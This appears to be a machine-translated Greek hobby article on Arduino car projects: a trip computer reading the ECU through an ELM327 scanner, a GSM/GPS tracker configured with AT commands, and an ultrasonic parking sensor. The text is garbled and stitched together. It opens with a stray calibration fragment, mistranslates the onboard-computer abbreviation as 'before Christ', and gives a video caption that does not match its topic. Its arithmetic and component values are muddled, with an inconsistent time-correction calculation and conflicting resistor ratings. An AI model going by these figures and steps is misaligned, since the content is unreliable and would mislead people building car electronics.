Θα πρέπει να ληφθούν υπόψη τρεις μεταβλητές:

1) ED=2.000Για παράδειγμα, η χωρητικότητα του κινητήρα σε λίτρα είναι 1.398.
2) VE=80,00Ογκομετρική απόδοση του κινητήρα εσωτερικής καύσης: συνήθως γύρω στο 80 (αν η κατανάλωση είναι πραγματικά μικρότερη, τότε μειώνουμε την τιμή κατά ποσοστό). Εάν δεν θέλετε να κάνετε βαθμονόμηση, βεβαιωθείτε ότι όταν ο κινητήρας είναι ζεστός, ο στιγμιαίος ρυθμός ροής σε l/ώρα είναι περίπου ο μισός όγκος του κινητήρα.
3) tcorrect=1,014(βαθμονόμηση χρόνου).

Ίσως το Arduino να μην υπολογίσει με ακρίβεια τον χρόνο χρησιμοποιώντας την εντολή millis()... Μπορείτε να προσαρμόσετε μόνο χειροκίνητα την τιμή. Στην οθόνη "technological 2" θα εμφανιστούν τα δευτερόλεπτα: για παράδειγμα, time_start: 23. Συγκρίνετε την τιμή με την πραγματική. Για παράδειγμα, χρόνος 10 λεπτά όταν η τιμή time_start είναι, για παράδειγμα, 23. Και αποδεικνύεται ότι μετά από 600 δευτερόλεπτα θα εμφανίσει στην πραγματικότητα 605. Σύνολο 623-605=18 δευτερόλεπτα καθυστέρηση στο Arduino. Δηλαδή, ο συντελεστής διόρθωσης tcorrect θα είναι ίσος με 623/605=1,02975.

Ελεγχος

[Button 1], [button 2] - κύλιση της οθόνης προς τα εμπρός και προς τα πίσω.
Όταν είναι ενεργοποιημένο, με την επιγραφή Connecting... κρατήστε πατημένο το [κουμπί 1] για να εισέλθετε στη λειτουργία εμφάνισης τεχνολογικών οθονών και παραμέτρων που αποστέλλονται από την ECU στο δεκαδική μορφή. Εάν ενεργοποιήσετε το BC όχι στο αυτοκίνητο, τότε πρέπει να απενεργοποιήσετε τη λειτουργία τηλεπαραλαβής Bluetooth, πρέπει να συνεχίσετε να κρατάτε πατημένα τα δύο κουμπιά όταν λέει |---Ανάκτηση--|... διαφορετικά η οθόνη θα είναι κενή.

[Button 1] + [Button 2]: 4 δευτερόλεπτα - Επαναφέρετε το αρχείο καταγραφής της συνολικής χιλιομετρικής απόστασης και της βενζίνης που καταναλώθηκε.

Οι τεχνολογίες δεν μένουν ακίνητες και σήμερα στους λάτρεις των αυτοκινήτων προσφέρεται μια ποικιλία από διάφορες επιλογέςνα βελτιώσουν τα «σιδερένια άλογά τους». Ένα από αυτά είναι το Arduino. Αυτή η συσκευή είναι ένα εργαλείο που χρησιμοποιείται για το σχεδιασμό ηλεκτρονικές συσκευές. Στην περίπτωση ενός αυτοκινήτου, ο σχεδιασμός πραγματοποιείται συνήθως Ανεμοθώρακας. Πώς να φτιάξετε έναν ενσωματωμένο υπολογιστή χρησιμοποιώντας το Arduino και πώς να τον ρυθμίσετε σωστά - διαβάστε αυτό το άρθρο.

[Κρύβω]

Ιδέες για ένα αυτοκίνητο που βασίζεται σε μια μικρή πλακέτα με μικρό επεξεργαστή - Arduino

Οι υπολογιστές είναι από καιρό μέρος της ζωής μας. Η πλατφόρμα υλικού Arduino είναι μία από τις τελευταίες εξελίξειςμε ανοιχτό κώδικα προγράμματος, το οποίο είναι χτισμένο στα συνηθισμένα τυπωμένο κύκλωμα. Διαβάστε περισσότερα για το πώς να χρησιμοποιήσετε μια τέτοια σανίδα για να φτιάξετε διαφορετικές συσκευέςγια αυτοκίνητα, θα σας πούμε περαιτέρω.

προ ΧΡΙΣΤΟΥ

Χρησιμοποιώντας μια πλακέτα Arduino, μπορείτε να δημιουργήσετε έναν ενσωματωμένο υπολογιστή αυτοκινήτου που μπορεί:

  • Υπολογίστε την κατανάλωση καυσίμου.
  • εμφάνιση πληροφοριών σχετικά με τη θερμοκρασία αντιψυκτικού.
  • υπολογίστε την ταχύτητα κίνησης, καθώς και την απόσταση του ταξιδιού.
  • αφαιρέστε τα αναλωμένα καύσιμα για μια συγκεκριμένη χιλιομετρική απόσταση.
  • καθορίστε την ταχύτητα του κινητήρα κ.λπ. (ο συγγραφέας του βίντεο είναι το κανάλι Arduino Tech PTZ).

εκτός Συσκευές Arduinoθα χρειαστείτε επίσης μια μονάδα LCD, έναν προσαρμογέα Bluetooth NS-05, καθώς και έναν σαρωτή ELM327 και μια συσκευή αντίστασης 10 kOhm. Φυσικά, είναι απαραίτητο να προετοιμαστεί και ένδειξη ήχου, καλώδια εγκατάστασης και το ίδιο το σώμα της συσκευής.

Η διαδικασία συναρμολόγησης έχει ως εξής:

  1. Πρώτα ρυθμίσαμε τον προσαρμογέα Bluetooth. Πρέπει να κολλήσετε καλώδια στις ακίδες της συσκευής - στις δύο κάτω και πάνω επαφές.
  2. Η ίδια η μονάδα είναι συνδεδεμένη στην πλακέτα για διαμόρφωση· για να γίνει αυτό, πρέπει να ανοίξετε Το πρόγραμμα arduino IDE 1.0.6 ή οποιαδήποτε άλλη έκδοση, μετά ανεβάστε το σκίτσο στο κύκλωμα μέσω της εξόδου USB.
  3. Όταν ολοκληρωθεί η λήψη, πρέπει να μεταβείτε στο μενού Εργαλεία - Παρακολούθηση θυρών και να ορίσετε την ταχύτητα στο 9600.
  4. Στη συνέχεια συναρμολογείται ένα κύκλωμα με μια πλακέτα, έναν προσαρμογέα και μια προπαρασκευασμένη οθόνη. Πρώτα, συνδέστε τον προσαρμογέα Bluetooth.
  5. Μετά από αυτό, μια οθόνη προστίθεται στο κύκλωμα. Περισσότερο Λεπτομερής περιγραφήΟι συνδέσεις βρίσκονται στην παρακάτω φωτογραφία.
  6. Ένα στοιχείο αντίστασης 10K χρησιμοποιείται για τον έλεγχο της φωτεινότητας και της αντίθεσης της οθόνης. Επομένως, όταν συνδέεστε για πρώτη φορά, μπορεί να παρατηρήσετε ότι δεν υπάρχει εικόνα, εάν συμβαίνει αυτό, τότε απλά πρέπει να τη ρυθμίσετε περιστρέφοντας την αντίσταση.
  7. Στη συνέχεια, πραγματοποιείται η σύνδεση πρόσθετο κλειδί, το οποίο θα εκτελεί τη λειτουργία εναλλαγής οθονών με πληροφορίες. Η μία επαφή από το κουμπί πηγαίνει στο στοιχείο GND, η δεύτερη στην ακίδα 10. Για να συνδέσετε το βομβητή, η θετική επαφή συνδέεται στον ακροδέκτη 13 και η αρνητική επαφή στον ακροδέκτη GND.
  8. Στη συνέχεια, χρησιμοποιώντας το ίδιο λογισμικό Arduino IDE 1.0.6, πρέπει να ανεβάσετε το σκίτσο. Τώρα το μόνο που έχετε να κάνετε είναι να ρυθμίσετε τον ενσωματωμένο υπολογιστή και να τον συνδέσετε στο αυτοκίνητο.

Συλλογή φωτογραφιών "Διάγραμμα σύνδεσης BC"

GPS tracker

Για να συναρμολογήσετε έναν ιχνηλάτη GPS Βασισμένο σε Arduino, θα χρειαστείτε:

  • η ίδια η πλακέτα, η διαδικασία περιγράφεται χρησιμοποιώντας το παράδειγμα του μοντέλου Mega 2560.
  • Μονάδα GSM/GPRS, η οποία θα χρησιμοποιηθεί για τη μεταφορά δεδομένων στον διακομιστή.
  • καθώς και έναν δέκτη GPS Arduino, στο παράδειγμα θα δούμε το μοντέλο SKM53 (ο συγγραφέας του βίντεο σχετικά με την κατασκευή ενός tracker χρησιμοποιώντας την πλακέτα SIM 808 ως παράδειγμα - κανάλι Alex Vas).

Πώς να συνδέσετε το κύκλωμα:

  1. Αρχικά, η μονάδα συνδέεται στην κύρια πλακέτα, ο προεπιλεγμένος ρυθμός baud είναι 115200.
  2. Μετά τη σύνδεση, πρέπει να ενεργοποιήσετε τη συσκευή και να ρυθμίσετε την ίδια ταχύτητα για όλες τις θύρες - τόσο σειριακή όσο και σε λογισμικό.
  3. Ο πομπός GSM συνδέεται με τις ακίδες 7 και 8 στο κύριο τσιπ.
  4. Στη συνέχεια, η μονάδα διαμορφώνεται με την εισαγωγή εντολών. Δεν θα περιγράψουμε όλες τις εντολές· μπορούν να βρεθούν στο Διαδίκτυο χωρίς κανένα πρόβλημα. Ας εξετάσουμε μόνο τα πιο βασικά. AT+SAPBR=3,1, “CONTYPE”, “GPRS” - η εντολή καθορίζει τον τύπο της σύνδεσης, σε σε αυτήν την περίπτωσηΑυτό είναι το GPRS. AT+SAPBR=3,1,“APN”,“internet.***.ru”, όπου *** είναι η διεύθυνση του χειριστή δίκτυο κινητής τηλεφωνίας, το οποίο θα χρησιμοποιηθεί. AT+HTTPINIT - αυτή η εντολή αρχικοποιεί το HTTP.
  5. Πρέπει να σημειωθεί μια απόχρωση - κατά τη σύνταξη του στοιχείου διακομιστή της διεπαφής, συνιστάται να παρέχεται λήψη και έξοδος δεδομένων για πολλούς προσαρμογείς. Πρέπει να ρυθμίσετε το διακόπτη σε τρεις θέσεις, αυτό θα καταστήσει δυνατή τη λήψη δεδομένων από οκτώ αυτοκίνητα.
  6. Στη συνέχεια το σκίτσο γράφεται στο μικροκύκλωμα. Το ίδιο το σκίτσο μπορεί επίσης να βρεθεί στο Διαδίκτυο· δεν είναι απαραίτητο να το γράψετε. Σημειώστε ότι εάν δύο είναι ενεργά σειριακή θύρα, αυτό μπορεί να οδηγήσει σε σφάλματα στη μετάδοση και αποστολή πληροφοριών.

Parktronic

Για την κατασκευή ενός αισθητήρα στάθμευσης, θα χρειαστείτε τα ακόλουθα εξαρτήματα:

  • το ίδιο το τσιπ?
  • συσκευή υπερήχων, σε αυτήν την περίπτωση είναι ο αποστασιόμετρο HC-SR04:
  • Έξι στοιχεία LED.
  • έξι στοιχεία αντίστασης με αντίσταση 220 Ohms.
  • καλώδια σύνδεσης αρσενικού σε αρσενικό.
  • πιεζοδυναμικό στοιχείο;
  • διάγραμμα διάταξης για συναρμολόγηση.

Η διαδικασία κατασκευής έχει ως εξής:

  1. Αρχικά, στο διάγραμμα breadboard που πρέπει να εγκαταστήσετε Στοιχεία LEDπροετοιμασμένοι εκ των προτέρων. Η αρνητική επαφή όλων των LED θα είναι κοινή. Σύντομη επαφή- κάθοδος - θα πρέπει να συνδεθεί με τον αρνητικό δίαυλο, ο οποίος είναι διαθέσιμος στον πίνακα ψωμιού.
  2. Στις μεγαλύτερες επαφές των διόδων, δηλαδή στις ανόδους, πρέπει να συνδέσετε στοιχεία αντίστασης 200 Ohm· εάν δεν τα χρησιμοποιήσετε, αυτό θα οδηγήσει σε καύση των διόδων.
  3. Η εγκατάσταση πραγματοποιείται στο κεντρικό τμήμα συσκευή υπερήχων. Υπάρχουν τέσσερις ακίδες σε αυτό το χειριστήριο. Το Vcc είναι ο ακροδέκτης ισχύος πέντε volt, το Echo είναι ο ακροδέκτης εξόδου, το Trig είναι η είσοδος και το GND είναι γείωση.
  4. Αφού εγκατασταθεί ο αποστασιόμετρο, θα πρέπει να συνδεθεί η καλωδίωση στις εξόδους του. Συγκεκριμένα, η ακίδα Echo συνδέεται στην έξοδο 13, η Trig - στην ακίδα 12. Το GND, κατά συνέπεια, πρέπει να συνδεθεί με τη γείωση, η οποία είναι διαθέσιμη στο κύκλωμα του ελεγκτή, και η υπόλοιπη έξοδος Vcc συνδέεται στην τροφοδοσία 5 volt στην πλακέτα Arduino.
  5. Αφού ολοκληρώσετε αυτά τα βήματα, πρέπει να συνδέσετε την καλωδίωση στις επαφές των στοιχείων της αντίστασης. Συνδέονται επίσης σε σειρά με καρφίτσες στην πλακέτα - χρησιμοποιούνται οι ακίδες 2 έως 7.
  6. Το επόμενο βήμα θα είναι η σύνδεση ενός πιεζοειδούς βομβητή, ο οποίος θα προειδοποιεί τον οδηγό όταν πλησιάζει ένα εμπόδιο. Η αρνητική έξοδος, προαιρετικά, μπορεί να συνδυαστεί με την αρνητική επαφή ενός προηγουμένως εγκατεστημένου αποστασιόμετρου. Όσο για τη θετική επαφή, συνδέεται με τον αριθμό 11 του ακροδέκτη στο τσιπ.
  7. Προκειμένου η συσκευή να λειτουργεί τελικά σε κανονική λειτουργία, θα χρειαστεί επιπλέον να γράψετε και στη συνέχεια να φορτώσετε τον κώδικα του προγράμματος στην πλακέτα. Σε αυτόν τον κωδικό, είναι απαραίτητο να υποδείξετε με ακρίβεια την απόσταση, όταν πλησιάζετε την οποία θα ανάψουν τα στοιχεία της διόδου και θα ενεργοποιηθεί ο βομβητής. Επιπλέον, ο τόνος του βομβητή θα πρέπει να είναι διαφορετικός, ώστε ο οδηγός να γνωρίζει ότι όταν πλησιάζει ένα εμπόδιο είναι κρίσιμο. Ο ίδιος ο κώδικας είτε γράφεται ανεξάρτητα είτε μια έτοιμη έκδοση λαμβάνεται από το Διαδίκτυο. Υπάρχουν πολλές επιλογές σκίτσου, απλά πρέπει να επιλέξετε το πιο κατάλληλο για τη συσκευή σας (ο συγγραφέας του βίντεο είναι το κανάλι Arduino Prom).

συμπέρασμα

Όπως μπορείτε να δείτε, η μικροπλακέτα Arduino είναι καθολική επιλογή, με το οποίο μπορείτε να δημιουργήσετε πολλές διαφορετικές συσκευές. Εκτός από τις συσκευές που περιγράφονται παραπάνω, μπορείτε επίσης να δημιουργήσετε ένα ταχύμετρο που θα εμφανίζει πληροφορίες ταχύτητας απευθείας στο παρμπρίζ, ένα κουμπί start-stop και ακόμη και ένα συναγερμό για όχημα. Γενικά, υπάρχουν πολλές επιλογές όσον αφορά την κατασκευή σπιτικό gadgetσωστά, τότε θα πετύχεις.

Φυσικά, για να το κάνετε αυτό θα πρέπει να έχετε γνώσεις στον τομέα των ηλεκτρονικών και ηλεκτρολόγων μηχανικών, ενώ οι ελάχιστες δεξιότητες πιθανότατα δεν θα είναι αρκετές. Όταν δημιουργείτε συσκευές, θα πρέπει να πάρετε τις δικές σας αποφάσεις, οι οποίες ενδέχεται να μην είναι διαθέσιμες στο Διαδίκτυο. Επομένως, να είστε προετοιμασμένοι ότι η διαδικασία συναρμολόγησης μπορεί να διαρκέσει πολύ.

Βίντεο "Πώς να φτιάξετε ένα σύστημα ελέγχου για έναν κινητήρα ηλεκτρικής κουζίνας;"

Από το παρακάτω βίντεο μπορείτε να μάθετε πώς να ρυθμίζετε τον έλεγχο του κλίματος τροποποιώντας τον ρυθμιστή του συστήματος θέρμανσης χρησιμοποιώντας το παράδειγμα ενός αυτοκινήτου VAZ 2115 (ο συγγραφέας του βίντεο είναι ο Ivan Nikulshin).



Έχετε ερωτήσεις;

Αναφέρετε ένα τυπογραφικό λάθος

Κείμενο που θα σταλεί στους συντάκτες μας: